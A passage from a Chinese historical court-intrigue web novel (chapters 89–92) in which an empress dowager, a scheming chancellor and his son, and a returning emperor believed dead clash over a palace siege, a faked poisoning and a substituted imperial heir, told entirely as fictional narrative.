周昱闻言轻抬了下颌,也不怒,神色反是愈发轻慢:“乱子贼子?本王奉陛下之命讨贼,名正言顺,何来叛逆之说。” 将官仍旧不屑:“哪个陛下?当今陛下可在太极宫中。” 周昱慢声,眸光却随着出口的字慢慢变沉:“熙宁,皇帝陛下。” 第89章 宫门外,苏尚仍恨恨地望着高墙上的人。 “殿下在何处?我要见她!” 顾筹无动于衷道:“夜已深,苏大人要见何必急于这一时?” “我若非要见呢!” 话语一出,身下的马儿似感受到了身上人的怒火,脚下不由得踩动了几下,身后的金吾卫亦是做出了拔刀的架势。 “那本将便只有依律行事了。” 话落,宫墙上垛口位置出现一排架好箭,随时准备拉弓的金吾卫。 依大晋律,擅闯宫禁者就地射杀。 苏尚眉眼压得极低,他乜目往上,就像以此能够压制住自己的情绪般,指节因攥紧缰绳的力度过大而泛白,他终是没忍住地从喉中溢出一声怒极的笑。 “好,好一个依律行事。”他唇角噙笑,眼底彻骨而复杂的情绪却不断翻涌。 她竟然能对她狠心到这个地步。 “便是在高墙之上,殿下也不愿见我一面吗?”他抬起脸,执着地再问了一遍。 然而回应他的依旧是顾筹的那冷声:“苏大人要见,便等宫门开启之后再请见吧。” 苏尚几不可闻地哼嗤了声,身下的马匹再度踏了踏脚,他恍若未觉,就算视线渐渐变得模糊却也仍死死地盯着那高墙,眼底生了寒意。 “驾!” 下一瞬,他猛地勒转马头,纵然手上隐痛,掌心都感觉被缰绳勒出了红痕,他也毫无停顿,亦毫无留恋地率随行的金吾卫纵马离去。 马蹄声因远渐小,上官栩站在宫门往里几步的广场上。 “娘娘,人走了。” 刚才,宫门外传进的声音她听得一清二楚,若打开那道宫门,其实她与那人相隔的距离也不过几丈。 可是她听了他全盘的话,从强硬到恳求,期间她都没有任何想要见他的想法。 她听了顾筹向她禀报的话,轻轻嗯了声,颔首道:“此番他到太极宫来,无疑是因为他意识到太极宫中生了变,能让他这样惊慌失措,力求马上得到答案的……” 上官栩眼神变得坚定:“他们到京城外了。” —— 苏尚回府后,脸色比刚才出府前还要差,径直去了苏望的书房,不待苏望开口,苏尚便直接道:“太极宫,脱离控制了。” 纵是早已有预料,苏望眉眼间还是有一瞬染上了怔忡。 苏尚将现下太极宫中的情况说出:“金吾卫中郎将的顾安策,是她的人,那几个被关起来的羽林卫将领也被上官明樾带走了。” 苏望眸色虽冷厉,但声音并没有太大起伏的:“他不是萎靡不振,甚至想求死了么,他怎么还参与到了太极宫的事中去?” 苏尚:“不知道他们到底是怎么联系上的,不过现在想来,她在金吾卫中竟然都有顾安策那样的内应,那这京城内多半也还有她的其它桩子。” 苏望哂笑:“倒还真沉得住气,想那顾安策去金吾卫以来一向听从安排,从无他言,还以为他真是条好狗呢,没想到是别人养的好狗。”说着,苏望又蓦地一滞,若有所思,“上官明樾怎么会参与到这事情中去,他不想要解药了?” 苏尚搭在食指上的拇指蓦地一扣。 苏望看着他。 苏尚转过头回看过去,凝眸片刻后方才蠕动了唇瓣,开口道:“不知道,我也不明白,他为何完全不考虑那解药了。” 虽然她并未中毒,然而其中内情上官栎却是并不知晓的。 苏望心中的戾气愈来愈盛:“那便不管了,距离她下次服解药的日子也不过十日,她只要一月不用解药就会立刻毒发而亡,我已一再给他们机会,既然他们不识好歹,那我也不必手下留情了。” 说完,苏望看向了静静垂着眸,一言不发的苏尚。 他其实对苏尚的反应有些惊讶,亦有些奇怪。 要知道以前说到解药的事时,苏尚反应虽不算强烈,但却也总是坚持着要保下宫里的那位,要求解药每月都按时送给上官栎。 可是今天,当苏望说到不再给解药,就要让那人毒发时,苏尚却良久没有反应。 二人目光交汇在一处,屋中安静了许久。 苏尚终是开了口:“她没有中毒,毒药早就被我换下了。” —— 宫城内,那将几个羽林卫将领带入宫的马车还停在广场上,旁边站了个略显萧条的身影。 那人气质本该是如玉如竹的,然而短短不到两月时间,他的肩膀就似被重物压过、风雨摧残过了一般。 顾筹再与上官栩说完话后,目光不经意地扫过了马车旁的那人,见那人也望着他们,他收回了目光,对上官栩再道:“娘娘,羽林卫能够安定下来,多亏了由上官大人带进宫的那几位将军,上官大人今日也是冒了极大的风险……” 顾筹也不知该说些什么,便垂了眸直接道:“上官大人可能有话想与您说。” 上官栩转过身看去,上官栎垂下了眸。 他看着身前几步位置的地面,长睫飞颤几许,抬头再看一眼,脚下迈出了步子。 顾筹见人过来,识趣地告了退。 上官栩站在原地看着。 “阿栩……” “阿兄。” 话语出口的那一瞬,耳中还同时听到了那一声熟悉的“阿兄”,上官栎抬起眸,不由得怔忡一瞬。 上官栩见了他的反应,神色自若如常,轻声道:“多余的话阿兄不必说,我想当时阿筝去找你时,她便已将许多事情告诉了你——” “我没有中毒,我也知道你不是当年之事的元凶,你更没有参与其中。虽然后面你到底帮他们促成了一些事情,但我亦知你是因为我,因为被人蒙骗才被卷入其中,那些犯下的错误自是不能逃避,但只要我们兄妹二人还是同心,便可一起去承担。” 上官栎眼眶酸了酸,他扬了扬眉头,将那反应忍下,声音微颤着说:“阿栩,阿兄只希望你能好好的,如今又知你无恙,又知你还愿与我同心,便已然很知足了,至于阿兄的错,阿兄自己承担就好,其余的,便随你的心,这几年你当真已经够苦了。” 上官栩眼帘轻眨,唇间挤着笑道:“不管怎样,都快过去了,你我也永远都是血脉相连的亲人。” 上官栎回笑着,点点了头。 —— “没有下毒?!”书房内,苏望因苏尚刚才的那番话而震惊、愕然。 其实对于苏尚做这件事的理由,苏望并不惊讶,反而一再觉得这就是苏尚对宫里那位一贯的风格,只是真听到他做成时,他还是控制不住那股火气翻涌上心头。 他竭力平息着,现将事情问清楚道:“所以上官明樾今夜敢参与到太极宫的事中就是因为他知道太后根本就没有中毒?” “也许吧。”苏尚并不确认,“但是按照我最先的安排,他并不知晓太后没有中毒,相反,他对太后中毒一事深信不疑。” 苏尚并不在意苏望在得知上官栩没中毒之后的那股按捺的火气,只继续道:“所以,结合城里城外的事来看,这极有可能是一场早就谋划好的阴谋。” 他眼眸倏然抬定:“难道是想要里应外合?!” “阿爹,神策军那边有消息了么?”苏尚眼底如寒潭般幽深,气质深冷。 苏望觑眸:“暂时还未有新的消息传来。” 苏尚眸光骤然一凛:“速让分散在京畿各处的神策军和其他守军回京!” “立马集合现下京城所有可动用之兵力!” “太极宫一定要尽快夺回来!” 第90章 一阵又一阵的重甲碰撞声和马蹄震地声终于将长安城中所有在睡梦中的人都唤醒。 兵士们近乎人手一支火把,火光熏天,长安城的整个上空被映照出一片灼人的橘红色。 可是所有人亦只能在家中透过窗户看这一变局。 喧嚣声全都往一个地方赶去。 宫城下,苏尚带着大批士兵卷土重来,他亦是穿上软甲,双袖束起配着护腕。 宫墙下的部队蓄势待发。 守于阙楼之上的顾筹,手握紧剑柄,沉眸,全神贯注地望着下方的军队。 苏尚高声:“顾安策,你竟敢借金吾卫中郎将的身份与其它贼人狼狈为奸,发动宫变软禁陛下和太后殿下!” “你应知,犯上作乱为十恶之罪,为首者,当处极刑,灭九族,你怎么还敢如此大逆不道!” “你若现在回头,我还可想法保你一命,否则无人能再帮你!” 顾筹站于城墙上,俯眼往下看,神色毫无波动,亦无言回应。 苏尚压着火:“顾筹!……” 话一出口,他含怒的双眸便倏然带上一片震愕。 只见顾筹微微侧身,朝旁一退,上官栩从他身后走 出。 上官栩神色从容,姿态端方,她声音沉而稳:“苏大人刚才说的什么?” 苏尚眸中的流光因宫墙上突然出现的人而滞了滞,在城上城下所有人的注视之下,他过了许久才开口道:“殿下现在倒愿意出来见我了?” 上官栩笑意淡淡,了然中带了一抹讥讽:“我若再不出来,苏大人是不是就要带人攻城了?” “臣也不过是担心您的安危。” “我现在一切都好。” “倒是苏大人,”上官栩补充道,“深夜两次率兵至宫门外,实在是让我安歇不得,疲乏困顿。” “殿下是在怪臣了?” “回去罢,夜太深了。” 夜色本如墨,然而因那城上城下高点的火把,二人都能将对方的目光辨得清晰。 上官栩将界限划得分明,但是苏尚却也依旧毫无动作。 他的眼神逐渐变寒便狠:“殿下是被威胁了罢,没关系,只要臣在一天,臣便一定会护住殿下一天,将那些不轨之人全部从殿下身边铲除。” “苏尚!” 眼见着他就要挥手下令,上官栩立马高声喝道。 “你带兵逼宫还不够,就是亲眼见了我,亲耳听到我说我无事,你也要堂而皇之地给你的不臣之举编造理由吗?你行此事,可问过你府中那位相公的意思!” 话语一落,不待苏尚给出反应,他身边的将领便也连忙开口劝了他:“苏大人,出兵之前苏公曾一再强调,如今在京城之中,四面八方许多人的眼睛都看着,所以万事行事之前务必不能留下口舌,必须要讲究师出有名,如今太后已经出面强调她没有被威胁,恐怕……” 苏尚的动作不得不停下来。 他在意的并非是师出有名那四个字,宫城中的禁军左不过就那么些人,纵然现在她将那几个将领带了进去主持战局,但在双方人数相差太大的情况下,也坚持不了太久,只要他想攻就定能攻下,充其量也不过就是时间问题而已,而想起京畿的变故,他更是悬着心放不下,他唯有觉得尽快将她掌控,他才能获得一丝安全感。 可是他的父亲不会同意他攻城,而他身边随行而来的将领最终也都听的是他父亲的安排。 他不由得哂笑呢喃:“都到这个地步了,还要那些虚名作甚。” 一旁的将领劝道:“相公的意思是,能借此稳一部分人便稳一部分,不然届时传扬出去恐会失了民心,更会失了一些中立势力的支持,给他人可乘之机。” 苏尚闭眸深呼调整一息,睁眼再道:“我记得宫里的粮食是需要每天从外面运进去的吧。” “是,除禁军外,宫里的宫女和内宦也多,这么多人,一日三餐的粮食所需量极大,所以都需每日从外面供应进去。” “若是没了那供应呢?他们最多能撑多久?” “算下来,至多不过一日粮食就会断绝。” 苏尚轻笑声,他抬眼再望那城墙之上看了一眼,看那人的目光依旧聚集在他的身上。 “那就再你们两日时间,两日之后,我要那宫门大敞,出入皆由我来掌控。” 将领垂眸,艰难应是。 宫城上,上官栩看着那城下瞥来的冷冽目光,眉头许久舒展不开,她看着苏尚遛马离去,又见城下的兵阵排布依旧严密,她便知道他是想靠围城切断宫里的一切供给,让守城的禁军最后无力抵抗了。 她看着那人离去的身影,轻声问身旁的顾筹道:“宫里的粮草可是按之前的计划备了下来?” 顾筹点头,然而亦是面有难色道:“之前已竭力备了,然而到底人数足够多,筹备时亦为了不被人发现端倪,每次存留下来的量也都被控制着,所以大概也就能多撑一日时日。” “多一日……”上官栩喃喃,“应该也够了。” 神策军距离京城最远的斥候巡查点到京城足有一百二十里,而大军在无任何其它势力的干扰下,每日最快可行五十里,从今夜的情形来看,北方来的大军应该已近到京城百二十里之内,再算去这段路上神策军各营可能存在的阻挠,三日,三日的时间内,他们应该是能赶到长安城外的。 —— 明月高悬,薄云被微风吹散,拂于月前,又拂过月前。 京城内,万火喧天,夜空被映照成其它颜色,然而京城外,星光洒落,夜行人借着微光赶路。 山野之中,马蹄声哒哒,一阵又一阵快马驰过而带起的疾风扫过路旁的树叶,又带起声声簌簌。 然而除此以外还有混杂在其中的,不断响起的劝导声。 “您方才取了纱布,还是先歇一歇吧。” “无妨,我现下并无不适。” “可是……骑马受得风太大,时间久了您的眼睛……” “也无妨,我多眨眨眼便是。” 清泠的话声在一片混杂声中尤为明显,就似高山枯杂的草木堆中有一朵兰花悠然绽放,将远处山溪散发出的水汽吸引。 青年郎君俯身于马背上,手中缰绳紧握,山野间,他披着月光迎风而行,任眸中酸涩,只想着尽快赶到她那里去。 —— 宫城的兵士听了苏尚的安排在城墙下如铁桶般守了一个日夜,整个宫城期间都无人进出,亦无任何物资的进出。 从宫城回来之后的一整个日夜苏尚都没有阖,因为他始终觉得,哪怕他切断宫城中所有的补给,但只要他没能完全将太极宫掌控那所有的手段都算是夜长梦多,且京畿外的神策军的抗敌消息更是不断地送入京来—— 神策军主营被破,首将被俘,其余在其他方向,靠近京城的神策军营正在调回京城的路上,而那些迎着乱军的神策军则在京畿的各要道上就与其发生了战斗了。 可是并没有好的结果。 北面神策军的消息越来越少,到了第二日的辰时时分,那本落在搭在案几上的手的视线倏然离去,苏尚的眼帘骤然一掀。 他如想到了什么,起身大步出门,即刻唤了军中的人来。 “调回京的神策军到哪儿了!” “为何几个时辰过去了北面神策军还都没有消息传来?” “那乱军都到何地了!” “还有!”他最后发问道,“宫里的情况怎么样,按理说他们的粮食已经耗尽了,而就算他们想节省粮食以作拖延,但吃食不够,人的精神便始终难跟上,他们守在那儿的可有攻城的对策了?” “不管过程如何,两日时间一到,宫城大门必须打开!” “不好了!” 苏尚号令刚 施下,就有禁军急色奔跑过来:“苏大人,城中突然起了流言。” “什么流言?” 禁军抬眼瞧他一眼,欲言又止。 “说!” “当今陛下非……非宗室之子,是、是苏公从其它地方抱来,任由他操控的傀儡……” —— 京城外,距离城楼不过十里的一道密林里,青年的眼上再次覆上了白纱,他刚才泪眼朦胧的模样当真是吓坏了他身旁的随侍之人。 “郎君,现下可好些了?” “嗯,已没有刚才那般酸涩了。” 随侍忍不住又劝道:“郎君身子虽然大好,但须大夫说了,还是得好生调养才行。” 青年勾唇微笑:“我这次可是确认过了,余下的那些不是大问题,早晚都能恢复,你也不必太过担心。” “可是您受罪啊。”随侍说得无奈。 然而青年却因此敛了笑意,转而幽沉道:“她在等我。” “我不能慢。” 默了息,他又问:“情况如何了?” 随侍道:“已分出三队出去了,还未赶到的京城的神策军,只要要到京城,就必要过那些必经之路,届时我们在前,五殿下他们在后,包围之势一旦形成,赶来的神策军便绝无突袭的机会。” “好,那我们的时间也到了。” 周景知拉了白纱,还微微泛红,闪着泪光光的双眸将视线落到了那马背上的弓上,他翻身上马后,手落于那弓上,再从箭筒中抽出一支箭,动作干脆地驾于弓弦之上。 箭头朝天,满弓而放。 倏的一声,响箭一路刺啦往上,于高空炸开一瞬花火。 立于房门外,刚听到那震惊消息的苏尚亦在炸开的同时间朝天空中望去。 京城中分明看不到那响箭,然而上官栩心中却莫名一动,朝着那响箭的方向凝眸望去。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-97 第91章 在余下还未入京的神策军的入京路上,每条必经之路上都已有埋伏了数百名骑兵。 其中有部分兵士更是身穿神策军的铠甲,整装列队阻隔在前路。 “陛下口谕,神策军诸将士听令!着尔等即可停止前行,全军整肃,速返原戍之地,严守防区,拱卫京畿,全军上下无陛下诏令不得出,违者以军法处置,严惩不贷!” 虽然眼前的队伍也是神策军的装扮,然而前夜京城才传来急报让驻地离京城近的神策军入京驰援,怎会这么快就又改了命令? “你们是神策军下哪一营的士兵?缘何是由你们来传达军令?朝廷的人呢?还有,为何是奉陛下口谕?近年来从未有过陛下口谕一说,中书省令呢?苏公的令呢!” 来将探出手,气势汹汹,然而倏地一声,破风的声音刚传入耳中,一支利箭就擦着他的手掌过去,最后扎落在了地上。 “神策军的调动竟需要一个宰相的调令,你们究竟是大晋的兵,还是他苏望的私兵?!” 官道边的高坡上,一道驾马持弓的身影慢慢现出,周边火把光两照起,从暗到亮,玄色盔甲反射出点点亮光。 长弓慢放,寒眸含威,玉容敛肃,丰王周昱带着数千兵士矗立于高坡之上,他凝眸望着被那箭骇怔住的将官,淡声道:“吾等奉熙宁皇帝之命率兵捉拿逆贼,你们是要恪守臣节,为君效力,还是要继续听那苏望的指令,负隅顽抗,做那同他谋逆的逆贼?” 话落,周昱双眸蓦地一沉,厚声凝威道:“奉陛下谕!逆贼苏望,罪证昭彰,今共列其五大罪状:熙宁七年,逆贼苏望借上巳水祭,谋害陛下,篡权专扇!其后,残害忠良,凡政见与其不合者,尽皆构陷屠戮!后又,祸乱宗嗣,先害亲王,再换世子,以外姓之子混淆宗室血脉,扶作傀儡,动摇国本!自其扶立新帝以来,专权擅政,结党营私,对朝廷规制视若无物!上至朝官,下至商户,凡其党羽皆奉其命朋比为奸,对黎民脂膏巧取豪夺,致使诸地名声凋敝!” “幸有天不佑逆,陛下未亡,今得熙宁皇帝陛下旨意,本王领兵进京除贼!凡执迷不悟,不降者,与逆贼同罪!今其它在京畿诸地驻防的神策军,皆已回戍驻地,尔等若还不知进退,休怪本王麾下铁骑无情!” —— 长安城中,苏府,苏望的书房内,苏尚踩着大步,几步从门外到苏望案前。 他也不顾其它仪态规矩,直接就问:“城中的流言怎么回事?怎么会突然就有了那样的流言?” 苏望缓缓抬眼看他:“纵是流言,但你也相信了,是吗?” 苏尚轻笑声:“毕竟以父亲手段,万事都是有可能的,而且太极宫里的人和城外正在发生的事也必然有关联,她觉不可能为了一个外人,把与那人有血脉相连的侄子打上野种的名号。” 苏望与他静静相视几息,忽然笑了。 “当年,赵王世子在入京的路上就已经死了。” “你杀的?” “一个毫无威胁的孩童,我杀他作何?”苏望眼中的笑意敛下,转而换上冰冷,“是他自己死的。” 他垂着眸,摆弄着桌案上的摆件,轻描淡写道:“死个人也没什么,然而人死了之后的事却总是要想办法办妥当的。” “所以你就找了个孩童顶替他?” “我若不找人来顶替,难不成让丰王入京做皇帝?你应该明白,以当时情形来看,那孩子之后,该入继大统的人就是丰王。”苏望转过眼来与苏尚的视线相接。 他目无波澜道:“丰王是绝不可能当皇帝的,所以当时最好的法子就是找一个人顶替赵王世子的身份,反正京城的人也没有见过赵王世子到底长什么模样,赵王夫妇又早已离世,这天下到时又几个人知道如今的陛下非是赵王的孩子?” “且顶替的那孩子又是从小被选在赵王世子身边的伴读,言行举止,从小生长的环境都能和原本的世子对上,如此一来又能有多少疏忽?” 苏尚道:“听父亲的意思,当初赵王的死也与你有关?” 苏望并不掩饰道:“我总不能让当今的陛下头上还有个王父吧?那我做这一切的意义又是什么呢?” 苏尚神色无动几瞬,就像被那话震惊到了般,然而不待苏望开口宽慰,就见他突然笑了出来,略有疯狂,略显肆意。 “父亲还真是事事周到啊,还以为杀个皇帝就已经够大胆了,原来父亲想的还不止是这些,一件事下来,从上到下,方方面面,父亲都要考虑到,都要……做到最狠。” 说着,他随意问得:“不知父亲对赵王又是行的什么法子?嗯……记得当时赵王好像是生了急病,难道是父亲下的毒?” 苏望亦如话平常:“虽奏报上是急病,但为了不被大夫查出端倪,毒药却是一点一点下的。” 苏尚点点头,突然道:“那父亲可知那小世子是因何而逝的呀?可是……死前和他父王有了同样的症状?” 苏望瞬间瞠目,如恍然大悟般。 苏尚大笑道:“父亲啊父亲,你看你,事情做绝却不做细,那小世子整日和他父王呆在一起,你对他父王下毒,他焉能不受到影响,父亲啊,你看,这多可惜啊,留下隐患了。” 因苏尚的戏谑,苏望已渐渐有了不满,他不由得沉了眸,然而又见苏尚现在已有疯魔的模样,他又不得不缓下声来,就怕他接受不了这些信息:“事情已经过去了,再纠结也无言,父亲的确从小就教你圣贤之言,所以你一时接受不了这些事也正常,这也是我一开始不告诉你的原因。” “不!我没什么接受不了的。”苏尚笑意不在,眸色也越来越狠,“我只是在想,为什么你不把事情做得再绝一点!你都杀皇帝,杀亲王了,都已经用外面的野种来当皇帝了,你都这么大胆,无所禁忌了,你为什么不自己当皇帝?” “千古贤相的名头就比盛世明君的还要耀眼?!”苏望刚才张了口,就被苏尚直接打断。 苏尚反问道:“篡位又如何?历朝历代来,凡王朝更替,又几个开国皇帝是完全靠自己一步一步将天下打下来的?不都是以权臣篡位得多么?真篡位了又如何?除了那些宗室和老腐朽外,当世有几个人会紧咬着你不放?至于后世,你真成了圣君之后,所有的颂词都会将你那些所谓的不光彩给抹去,而你也能依靠王朝更替永绝后患,不像现在,束手束脚,反是一团糟。” 苏望垂眸:“人各有志,皇帝,以后你有机会你自己做吧。” 苏尚不屑道:“有什么机会?现如今被别人抓到命脉把柄,不说你的贤相梦破碎,就是整个苏氏都 被卷入了万劫不复之地,而之前你还不让我直接攻太极宫,如今有了那些传言,便是更不可能发兵攻打了,不然岂不是又把你那些‘罪状’坐实了。” “谁说外面的传言就是真的了?”在苏尚的凝眸下,苏望抬了眼幽声道,“他们怎么证明?总得给出证据吧?你别忘了,自古以来,外戚干政亦是乱国的起因之一,谁知道那些流言传到最后的受益人到底是谁?” “四年前,赵王世子的确是下一辈中唯一可以入嗣的宗亲,可是现在不一样了,丰王在两年前也有儿子了,所以你说,如今这流言传出来只是为了攻击我么?会不会是那幕后之人想以此一石二鸟,既借以铲除了托孤重臣,又能因此换上一个年纪更小,更为听话的主君,以此来延长自己的摄政生涯呢?” 看着苏尚一点点沉下去的眼神,苏望眼尾慢慢浮起笑意:“还是说,你到现在对她都还舍不得?” —— 上官栩站在城楼上,视线从远方天空的某处慢慢收回。 她沉吟片刻,轻声向顾筹问道:“留在城里的人可是都交代好了的?人手配置又可是足够?” 纵然一切都是提早做了准备的,但在那一个月里,为了不被苏尚怀疑而影响后面的计划,上官栩确也是极少与外界之人有来往,故而如今和顾筹碰上面时便总要再对一对。 顾筹颔首,自是明白她问起这事的缘由:“娘娘放心,之前便将一切都安排妥当,其中阿筝娘子在完成对流言的传播之后也会去到我们之前选择好的位置安顿下来。” 上官栩眉头微蹙,忧心道:“那流言的事,先控制好,莫要在宫里传开。” 顾筹了然:“末将明白。” 上官栩再度抬眼望天,又看向城下还压在宫门外的兵马:“算时辰他们就要到了,去将我们之前积攒下来的口粮分给将士们吧,就要开战了。” 顾筹拱手应是。 然而待顾筹退下之后,上官栩却仍是迎着寒风,独自站在阙楼上,她想着马上就要到来的那场恶战,蹙起双眉始终难舒展开。 而她感觉到不远处有目光落在她的身上,她便先压下那些心思,转眸向那目光投来处看去。 上官栎站在城楼楼梯口,手提着食盒,见她望来慢慢露出笑。 “阿兄?” 上官栎迈步向她过去,声音温煦道:“你在这里都守了一日一夜了,还是先歇一歇吧。”他提了提手中食盒,“现在宫里的粮食的确不多,但你也不能完全不吃不喝,我带了一碗粥来,还是暖暖胃吧。” 受粮食影响,被围宫之后,宫里所有人的吃食全部一致,这粥也是从今日分给所有人的粥里盛来的。 上官栩这一日一夜来除了水外分米未进,在上官栎为她端来粥时她也只拿着勺子搅了搅。 上官栎开出她的忧思:“可是在担忧之后的事?” 上官栩搅动白粥的动作不止,在上官栎的关注下有了几圈动作之后,她才轻“嗯”道:“也许是因为苏望树大根深太久了吧,也见识过他的许多手段,所以纵是此前已削减了他的势力,但也担心到这最后的关键时刻会出岔子。” “这次一定会成功的。”上官栎温声,在上官栩带着诧异的目光看向他时,他再道,“你就是不相信我,也要相信他,相信你自己啊。” 上官栩终是扬唇笑了笑:“没有的,阿兄,我也是相信你的。” —— 时间一点点过去,看着上空一道又一道的响箭炸开,周景知握住缰绳的手越来越紧。 随侍道:“京畿已平,郎君下令吧。” 周景知沉了眸,抓着缰绳勒转了马头:“入京!” 第92章 大军至城下那日,苏尚被城外的景象惊得怔在原地许久—— 非是因那大军的人数,也非是因那军中有神策军的身影,更非是因那赵、丰王旗,而是那中军台上赫然撑起的只带“熙宁”二字的中军帅旗! 他看着那在军士簇拥下,一步一步走上中军台的人。 他手捏着城墙凸起处,一目不错地看着那人停下,转身的动作。 是他! 目光射来的那一瞬,苏尚瞳目瞬颤,双眼近乎惊得瞠到了极致。 熙宁……徐卿安…… 怎么会是他呢?怎么会是他呢! 手重重拍在城墙上,于那一刻起,苏尚的心中似乎对此前的许多问题都浮出了答案。 可是他还是不相信,或者说难以置信。 已经死了的人怎么可能复生呢! 可是熙宁…… 他们帅旗上所写的不是谥号,也不是庙号,而是年号! 而赵王、丰王王旗分居两侧,就是丰王也在中军台下! 事情已经很明朗了。 苏尚颤抖的瞳目混上猩红的血丝,然而惊惧之后眼中渐渐凝下的又是彻骨的寒意。 城外,在周景知踏上中军台上的那一刻,丰王先喊:“恭迎陛下!” 全军再喊:“陛下万岁!” 周景知立于中军台上,战甲在身,发冠高束,披风被风吹扬,猎猎作响,帅旗上的熙宁二字刚好在他正后方。 他立身持剑,凝眸望向城墙上的人,声彻三军:“朕为庄皇帝血胤,四岁蒙恩,立为太子,十三岁承继大统,改元熙宁。在位七载,朕不敢忘先皇遗训,夙兴夜寐但求国泰民安,然熙宁七年,上巳水祭,却遭奸佞谋刺,几番被置于生死之间,幸有忠良相救,得以隐姓埋名流转三载。今携良臣旧部而归,当势要为含冤之臣正名,诛逆贼,正朝纲!” 一支响箭炸于空中,丰王周昱再展旨:“今于此,本王于万民前,昭告逆贼苏望五大罪状……” 行刺君上,排斥异己,换嗣易储,独断专权,贪墨害民,五大罪状由周昱念入城墙之上的人耳中,话落城墙上便是一片喧哗。 苏尚乜眼瞧了瞧那响箭炸开的那处,轻笑一声后向城下冷声道:“难道你们说什么便是什么?当年之事一清二。从上到下每一环都寻到了证据,无可指摘,而先帝也长眠于平陵之中,天子威严,焉能由尔等乱臣贼子随意寻个毫不相干的人伪冒!” “丰王,你数年不至京城,期间更是听调不听宣,现在却率兵而来意欲何为?当年先帝驾崩之际你又在何处?近日城中散播的流言也是你派人做的吧?你可是在为你儿铺路!” 周昱神色如常道:“吾儿尚在襁褓之中,吾只愿他一生安宁即好,又如何会如你苏氏那般竟想些龌龊之事,苏叙白,你可是以己度人了?” “今日我至京城,是奉熙宁陛下谕旨,护卫圣驾而来,此外,我还要为我那三王兄讨个公道,今日赵王旧部亦在此,他们想问一问苏相公,当年赵王的病到底因何而来?” —— 太极宫里,换上了戎装的上官栩亦是看见了那天空中炸开的响箭。 “他们到城外了。” 顾筹:“可要下令反攻出去,与他们里应外合。” 上官栩看着下面一动不动的军阵,摇了摇头:“不急,按理说,先坐不住的应该是他们。” —— 城楼上,苏尚笑得愈发肆意:“欲加之罪何患无辞,更何况你们所提到皆是旧事,拿着几年前就已尘埃落定的旧事来指摘我父亲,焉有此等道理?你们就是乱臣贼子,就是别有用心!你们预谋陷害我父亲不够,还要诋毁当今圣上的出身!” “周昱!”他双指指向城下。“我父乃庄皇帝陛下钦点的辅政大臣,我苏氏亦是历经四朝的忠良世家,有我苏氏在,你的阴谋休想得逞!” “城上诸将士不必忧心,他们此番袭京,是绕过诸多城池而来,故而此刻他们身后全是可护卫京城御驾的勤王之师,只待援军一到,京师便可 解围。” 周昱哂笑:“苏叙白,你说的那话你自己也会觉得好笑吧?我若要为我儿谋乱,那我要迎立的该是我儿啊,那我现在所为岂不与之相悖?” 苏尚道:“因为预谋此事的不止有你,因为你不是此事的唯一受益者,因为你还和京城中的其它人有勾结!” 苏尚闭眸深呼一息,他听着自己不可控的呼吸颤抖声,双拳握紧,他兀自挣扎,咬着牙艰难开了口:“你早就与太后谋定好了今日之事,所以你迎立的人是你们一起选下的,而你们选的这个傀儡亦是早就与太后暗通款曲,祸乱宫闱……你们才是国之蟊贼。” 周景知淡然地听着苏尚的话:“你可知赵王世子先天就有眼疾?他绘不出色彩鲜艳的山水花鸟图。” “你可知当初在曲江池畔,你们找到的那具尸体脸上有多少道划痕?你可知那尸体脚上原本是六指?多余的一指是被我亲手砍下来的?” 中军台下走上一个兵士,周景知从他手上接过一份卷轴。 周景知当场单手将卷轴展开:“此画为熙宁六年,赵王世子所作,其上落款、赵王印鉴一应俱全,赵王更是在卷轴尾部写有盼子眼疾痊愈的寄语,你可有要辩驳的?” “至于那尸首,当时他身上全是伤痕,断了两根脚趾,也会被其它伤痕覆盖,只当也是一处划伤,所以当时没人注意到很正常,然而现在时过境迁,尸身腐朽后其下白骨的断裂之处就能被轻易看见,你可敢开棺验尸?” 苏尚轻笑:“荒唐,帝王陵寝岂容你肆意惊扰,说开就开?你也无须再多言,就想以此妖言惑众,我就问你一句,今日长安城中守军若势要阻拦你等贼寇进城,那你可是要发令攻城?” 周景知双眸瞬间幽冷下来。 —— 太极宫下,军阵渐有变动,从中间位置,从后往前,士兵纷纷外往旁侧移了一步,苏望从挪出来的那条道路走到前排。 “太后娘娘别来无恙啊。” 自上官栩被苏尚‘软禁’那天起,这是这段时间来她第一次和苏望碰上面。 苏望眉眼含笑,神色轻松,上官栩自也是不落下乘,淡然回应了声:“苏相公。” 苏望叠手于身前:“太后娘娘见到我可是觉得意外?” 上官栩似笑非笑:“倒的确是许久未与苏相公见面了。” 见上官栩不直接回他的话,苏望也不再与她打哑谜周旋:“太后娘娘想见的逆贼现在就在城外,他们带兵直逼京城,先是散步有关当今圣上的谣言,再是污蔑老夫为官以来的忠诚,娘娘,您和他们到底达成了什么协议?您如今已是一朝太后竟还不满足,还要换立新君,你可是觉得老夫为相挡了你的摄政之路?” 上官栩被逗笑:“苏相公说话贯是冠冕堂皇,滴水不漏。”她敛了笑意,沉色凝眸道,“然而如今你说的这些话也不过是自欺欺人罢了,你想要你身边的这些兵士仍然相信你,你想要多年来经营的民心依旧心向你,你想要你梦寐以求的千古贤相之名能够冠于你,可是这些现在对你而言都只是奢望,你现在不过就是在苟延残喘。” “你可知道,你这些年行过那些事的所有证据都已罗列成册,不管是你假手于人的,还是你亲自去做的,桩桩件件都铁证如山,只待公布于天下,而届时你的所有幻梦都成一场空。” 苏望唇角微不可察地抽搐一下,继而道:“太后娘娘怎与城外的逆贼一样,凭空捏造罪名?倘若这世上所有的罪名都可以由一张嘴来断定,那不知衙门里有多少冤家错案。” 上官栩:“你何须与我做口舌之争,你可敢让他们进城,和那些证人证据当面对峙。” “娘娘可在玩笑?那些逆贼我不将他们绞杀殆尽,还让我将他们放进来,岂不是容他们为害百姓,危害社稷?”苏望笑一下,“还是说,娘娘就是想以这借口让他们进城,好进而控制整个京城,以此达成你们最终的目的。也难怪,他们至城下不久就急不可耐地准备要攻城了。” 上官栩蹙眉:“他们开始攻城了?” 苏望眸深如潭:“不然以太极宫的粮食储备,娘娘能等他们多久?娘娘,太极宫已经绝粮了吧。” 上官栩眼帘微压,与那刺探的眼神相望,没再应话。 —— 周景知最初的队伍由赵王旧部和丰王的部下组成,但是早在他离京之前他就设好圈套,让那霍甘心甘情愿的带兵出征,又借霍甘的傲慢去激得苏望对他起疑心,故而使得霍甘带出的兵马大打折扣,但也因此给了他收服神策军的机会。 